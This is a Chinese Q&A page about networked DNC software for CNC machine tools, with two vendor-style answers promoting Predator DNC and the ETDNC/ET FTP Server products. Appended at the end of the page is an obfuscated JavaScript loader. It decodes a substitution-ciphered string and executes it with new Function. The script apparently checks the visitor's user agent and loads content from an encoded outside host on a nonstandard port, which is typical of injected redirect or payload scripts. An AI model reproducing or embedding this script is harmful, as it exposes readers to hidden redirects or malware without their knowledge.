网络DNC需要用什么来编程?

2025-02-14 01:33:27
推荐回答(2个)
回答1:

盖勒普Predator DNC系统是全球领先的生产工位及数控设备联系网管理系统,在全球有很高的影响力和知名度。众多大型企业如波音集团、霍尼韦尔、戴勒姆奔驰、通用汽车等都通过采用盖勒普Predator DNC系统极大地提高了生产效率,帮助企业稳固了行业领导者的地位。

盖勒普Predator DNC 是基于32和64位操作系统开发的自动化制造设备及生产信息化管理的网络平台,它赋予工业DNC(Distributed Numeric Control)更深更广的应用意义。Predator DNC™
不仅能够使您所有的CNC数控加工中心,智能化工业机器人,自动化生产线PLC工作中心和其它的所有工业设备联网在线,同时有效管理您的生产设备、加工程序和工位信息。此外,Predator DNC 不但可以与Predator其他系列产品管理系统无缝集成,还可以和企业第三方信息化管理系统及工具软件MRPII/ERP/PDM/CAPP/MES/CAD/CAM等集成。

拥有Predator DNC ,您就不必再吃力得拿着软盘、纸带、笔记本电脑或是老式硬件来下载数控设备上的加工程序,并且使这些设备全部联网实现可视化柔性管理,节约了您在现场车间来回走动的时间。

Predator DNC 不仅可以与Predator其他系列产品无缝集成,还可以和您现有的企业第三方信息化管理系统及工具软件MRPII/ERP/PDM/CAPP/MES/CAD/CAM等集成,并且支持Access、SQL Sever和Oracle三大开放式关系型数据库。

主要功能

Predator DNC™ 支持同时在线联网多达4096台数控设备

Predator DNC™ 64位系统支持只用一台DNC服务器(中端PC即可)就可以使多达4096台数控设备的同时联网在线并进行多线程(Multi-thread)双向传输,而且它可以使您的数控设备进行可视化分配管理。

改善您的车间工作流程

拥有Predator DNC™ ,您就不必再吃力得拿着软盘、纸带、笔记本电脑或是老式硬件来下载数控设备上的加工程序。Predator DNC™
提供了一个真正的网络解决方案,当你需要使用程序时可以从服务器直接进行调用,当程序完成现场的加工确认或者进行更改后,又可以返回到你的服务器中进行保
存。整个过程将变得更加可靠,每个人都会变得更有效率。

DNC Explorer™ 用户界面

Predator DNC™ 采用微软的Office® 和Windows®
界面让使用者在操作时变得非常轻松、容易上手。Predator DNC™
界面包括鼠标拖放,右键快捷菜单、剪切、复制、粘贴,状态/工具栏,热键功能、工具按钮和在线帮助。不仅如此,Predator DNC™
还可以客户化设置数控设备的物理配置以及提供更多客户化特性的功能……

Remote Request™ 多线程远程请求

通过远程请求功能,可以让每一个操作者通过在制造设备端的简易操作,直接完成与DNC服务器之间的程序调用及通讯,使操作者在设备端就能实现上传、下载自己想要的数控加工程序,避免了操作者在现场与服务器或办公室之间的来回奔波。Predator DNC Remote Request™ 具有实时反馈通讯错误信息的功能,能够与DNC 服务器建立起对话,让操作者在设备端就可以得知通讯不成功的原因,这是Predator DNC™ 系统的特色功能,除了Remote Request™ 功能外,Predator DNC™ 还具有远程查看文件目录、远程自动命名、远程打印控制和远程E-mail传输以及更多远程功能……

Predator DNC Connect™ 客户端

Predator DNC Connect™ 为用户提供了一个基于PC用于NC程序管理浏览、编辑和通讯的客户端。Predator DNC Connect™ 操作界面直观并具有亲和力,并且具有针对触摸屏应用的大按钮界面。

注意:Predator DNC Connect™ 是通过使用点来赋予软件许可的,而不是通过自身计算机来赋予许可。

Predator DNC™ 文档管理器(Integrated Browsing)

是否为陷入了一大堆杂乱无章的数控程序和生产资源文档而感到烦恼呢?Predator DNC™
的文档管理器能帮助您解决这一切。它能支持在同一窗口中浏览Microsoft Office™
文档(包括:.DOC、.XLS、.PPT、.MPP、.VSD等)还包括.PDF、.DXF、.DWG、.TIF、.JPEG、.GIF等其他常用的文
档格式。

100%网络兼容性

Predator DNC™ 支持兼容CNC与您服务器的所有操作系统,比如Window、Linux、Solaris、Mac、VMS和Unix等操作系统。Predator DNC™ 可以让您的工业自动化设备灵活得运用有线或者无线以太网协议联网,并且支持网络共享、文件夹拖放等功能。

Predator DNC™ 系统运行日志

Predator DNC™ 具有简单好用和记录详细的日志,分为通信日志和系统运行日志,可以以Excel、Access、HTML和ASCII等形式被保存,方便管理人员进行查询和系统维护。

Predator DNC™ 强大的在线帮助功能

Predator DNC™ 系统具有方便易用的在线帮助功能,在系统使用过程中,您只需轻轻按下F1键,计算机便会弹出当前应用界面所有功能的详细帮助文档供你浏览查阅。

Predator DNC™ 独特领先技术

Server Safe™ DNC网络系统安全技术

Predator DNC™ 具有Server Safe™ 的服务器安全功能,即使DNC网络在通讯期间发生崩溃,Server Safe™ 功能可以让传输的数据暂时缓存在PC 内存中,使得DNC网络依然能够维持通讯,避免了在DNC传输中因为网络不稳定而造成的传输中断和数据丢失,这些可靠的技术已经成为Predator DNC™ 系统在全球行业内技术绝对领先的关键特点之一。

Predator DNC™ 的后台运行技术

是否担心Predator DNC™ 会像其他老的DNC一样不能同时支持多台设备的传输任务?Predator DNC™ 能够支持多达4096台设备同时进行通讯任务。运行Predator DNC™ 就像运行一个Windows 的后台服务一样,通过计算机的双核或者四核的运行能力,灵活地调整对系统资源的占用,完全能够支持同时处理大量的设备在线通讯,让制造业告别传统的DNC传输技术。

生产现场工作中心数据采集集成(MDC/MES Integration)

Predator DNC™ 内嵌生产现场及工位数据采集和设备状态监控数据流接口通道,支持Access、SQL Sever和Oracle三大开放式关系型数据库。MES系统的生产现场数据采集可以实现通过DNC网络直接进入数据库进行存储。目前Predator DNC™ 是国内唯一能够与MRPII/ERP/MES有真正数据集成技术能力和应用案例的DNC系统。

集成Predator CNC Editor™

每一个Predator DNC™ 的许可都包括一个Predator CNC Editor™ 许可,它可以同步用3D动画展示数控程序的模拟运行。

回答2:

苏州一统软件专业提供DNC数控机床联网,加工中心DNC联网,数控车床DNC联网,本软件最大优点:省去用软盘拷贝程序的麻烦,原来每台机床边放一台电脑,点一下发送机床必须马上接收,现在程序放在服务器上,在机床上可成完读取程序在线加工等所有操作,一台电脑可以联接256台机床,省去多台电脑和更换软盘的成本,提高工作效率。
本软件可用于以下系统机床
FANUC(法兰克)全系列;
SIEMENS(西门子)全系列;
MITSUBISHI(三菱)全系列;
Brother(兄弟)全系列;
HASS(哈斯)全系列;
OKUMA(大隈)全系列;
CITIZEN(西铁城)全系列;
MIYANO(宫野)全系列;
KURAKI(仓敷)全系列;
Toshiba(东芝)全系列;
KND(凯恩帝)全系列;
DMG(德马吉)全系列;
FAGOR(法格)全系列;
MAZAK (马扎克)全系列机床

下面是联网前和的优势对比
联网前 联网后
数控机床的的程序存储空间有限,不利于程序保护。 海量存储空间,所有程序均可保存在计算机硬盘上。
程序管理须转人负责,须占用人力资源,且管理工作复杂 计算机自动管理,提高工作效率,无人力资源占用
程序传输需由两人同时操作 工人只在数控端操作,节省人力资源
多种数控系统需多种传输软件,
DOS版及英文界面使得操作复杂 无需其它传输软件,操作简单,
会使用数控机床即可操作
不能与CAD/CAM/CAPP或ERP系统联接 可与企业局域网或CIMS工程进行无缝联接
只能进行NC程序传输,且传输距离在15米以内 亦可传输刀具参数、生产管理等信息,
传输距离在2~10千米
程序管理为开放式,不利于技术保密 程序管理开放式,封闭式可由用户选择,
技术资料保管安全
RS-232接口经常插拔,硬件容易损坏,维修代价昂贵 RS-232接口永久性连接,硬件不易损坏
多台设备的DNC加工需多台计算机 多台设备的DNC加工可在网络上实现
不能为企业的生产管理提供帮助 可为企业的生产管理提供多种基础数据

如果您公司存在这样的情况就应该考虑使用我们的软件:
1、机床比较多,为了配合生成,可能给每台机床配备了计算机,现在是通过磁盘、CF卡等工具将GM代码拷贝到机床或通过配备的单机使用CNC软件把程序传给机床;
2、机床在十台左右,主要以手工编程为主,但程序的使用量比较大,经常需要做程序的传输;GM代码做好后通过笔记本等设备来传输程序;
3、机床多且带有网卡,因为带有网卡的机床容量比较大,工厂可能会直接使用磁盘、CF卡等工具将GM代码拷贝到机床而不去使用机床的网卡。
使用本ETDNC可以有效的解决这些问题,将机床虚拟成PC机的COM端口,用我们软件直接对虚拟端口进行操作,这样一来我们可以直接对机床所需要的GM代码进行有效的处理。
怎么解决远距离传输的问题,如果使用标准的RS232进行通讯,那么一般情况下要求通讯线的长度不超过十五米(备注:超过这个值可能会产生干涉现象,数据传输不稳定),我们使用一个串口转换信号,将RS232信号转换成RJ网络信号,相信大家一定使用过互联网技术,RJ网络信号可以稳定长距离传输,这样就可以解决我们传输距离限制的问题。
本软件是在WINDOWS上开发应用程序,运行于PC及其兼容机。它本身是一个多任务通讯软件,该系统在进行RS-232串口通讯的同时,还可同步进行文件编辑等。除了RS-232串口服务器外,该系统不需要附加其它硬件。本能充分利用PC机的硬件资源,其总体性能好。

1) 一台服务器可管理 256 台ETDNC 机床。如果客户以后增加机床,则可以非常容易扩展
2) 自动备份,当机床上传的文件与服务器重复时,自动备份。方便数控程序管理。
3) 可在现有的 PC机上运行, 可以利用厂家原有的局域网,这不会造成资源的浪费。
4) 强大的远程请求功能,操作人员在机床控制面板前就可以完成各种操作,包括查看电脑目录中的数控程序、大小、修改时间等,完成程序的发送与接收,进行双向通讯,无需来回跑动。
5) 具有同类产品几乎最好的数控系统的兼容性。除了对付一些常用的数控系统如Fanuc、Siemens、Mitsubishi、 Heidenhain、Mazak、Fagor、Agie等用户可以创建您自己想要的机床通讯协议。硬件的兼容性。
6) 本软件系统支持全系列的通讯硬件包括RS232/422/485,以及基于TCP/IP及支持FTP的通讯,完全支持跨网段连接。
7) 在线加工。只要机床有在线加工的功能,所有的机床都可以同时稳定而高效地在线加工。这对内存较小的数控设备非常有利。我们软件最新版本支持任意语句下载,比如你早上做完九千行,因为中午吃饭休息,你怎么办?以前的做法是你把九千行以前的大部分程序给删除,然后再做ETDNC!现在你不需要这样做了,只要把信号程序做修改,我们软件就可以完成这个任务,比如:###540*9000*0/,9000就表示从9000行开始!做加工的人现在可能会问,直接从9000行开始行吗?当然不行,我们软件会自动去处理!自动加载必要的信息,比如G54、刀具信息、近给信息、转速信息、下刀点信息等!

8) 强大的程序兼容性与编辑功能,包括文件比较,明确的标识程序的错、漏等不正确之处,具有强大的编辑处理能力,能够在程序传输过程中对程序进行一些编辑处理比如对特殊字符的增、删、修改等处理动作。
9) 对于老式设备,没有RS232通讯端口,使用纸带机、磁带机通讯的,可以通过BTR硬件来进行联网。
10) 多级别的安全保证,这保证了数据和操作的安全,有利于数据的管理。
11) 服务器全局配置功能,在服务器上对各种参数进行修改和其他系统设置,可以在全局范围内发生应用,整个系统都会相应自动更新。
12) 完整的活动日志记录。记录系统的参数修改,程序传输的开始、结束、终止时间等,并可以自动导入EXCEL表格或其它的数据库中,方便查询和集成。
13) 很好的数控程序管理功能,可以对数控程序等进行集中统一的数据库管理。
14) 完整的信息报告,可以创建关于程序传输状态的报告,可以记录程序传输是否成功,远程请求是否成功等。
15) 支持无线联网。
16) 提供网卡机床完整解决方案。
17) 可以对加工零件进行任务分解,分解到如操作、机床和工序上,操作人员可以在客户端电脑中查看各种自己所需的文件。
18) 易学易用。多国语言版本,支持简体中文版软件
我们一般提供的解决方案有以下几种:
a.全部使用RS232端口来组建传输网络;
b.如果全部带有网卡,我们是直接使用网卡来组建传输网络;
c.混合传输网络,看具体情况来配置。

ET FTP Server介绍

计算机病毒的日益泛滥,使得机床局域网的安全日益受到关注,如果机床局域网感染病毒,
从而使机床感染病毒,那是非常严重的问题,我们提供的TFP软件能杜绝机床感染病毒的可能行,
绝对不允许机床下载各类可以执行的EXE文件。
建立一个FTP下载服务器相对比较简单,一般用WIN2000/2003下自带的IIS就可以,
但IIS在功能上好多都不尽人如意,下面我就介绍一款我们开发的FTP机床管理通讯软件,
et FTP Server是一个可以运行于Windows 2000/2003下的FTP服务器程序。

有了它,构建FTP服务器,也就是说,你所连接的网络中的计算机用户可以访问FTP
服务器,通过FTP协议(文件传输协议)复制、移动、删除FTP服务器电脑中的文件或文件
夹,可以做一切权限所允许的事情。FTP协议规定了计算机之间的标准通讯方式,使所有不
同类型,不同操作系统,不同格式的电脑之间得以互换文件。它可以用最简单的方式创建用
户帐号,并且在硬盘空间上划分一定的区域用以存放文件,让用户以各种FTP客户端软件(如
CuteFTP、WS_FTP等)上传或下载所需要的文件。

有许多FTP服务器和客户端软件可用于不同的系统中,et FTP Server是用于运行MS-Windows
并且已安装了WinSock 版本 1.1 兼容 TCP/IP协议的电脑中的,这几乎包括了所有的
Windows操作系统。

et FTP Server由两大部分组成,引擎和用户界面。et FTP Server引擎,其实是一个
常驻后台的程序,也是et FTP Server整个软件的心脏部分,它负责处理来自各种FTP客户
端软件的FTP命令,也是负责执行各种文件传送的软件。

启动后,我们看不到任何的用户界面,它只是在后台运行,通常我们无法影响它,但我
们可以停止和开始它。et FTP Server引擎可以在任何Windows平台下作为一个本地系统服
务来运行,

在配置里我们可以根据需要,把软件设置为开机启动软件和启动自动运行开启FTP服
务,如果不知道运行,就需要每次开机的时候,手动启动FTP服务。

et FTP Server是针对数控机床网卡通讯而开发的FTP管理通讯软件,那就有必要知道
每个机床所对应的IP,我们可以提前预设,如下图:

et FTP Server正常运行后,机床调用FTP服务器里的程式,我们都可以实时查询,

原始日志

按照机床查询

按照日期查询

按照操作方式查询

如果对您有帮助,请记得采纳为满意答案,谢谢!祝您生活愉快!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();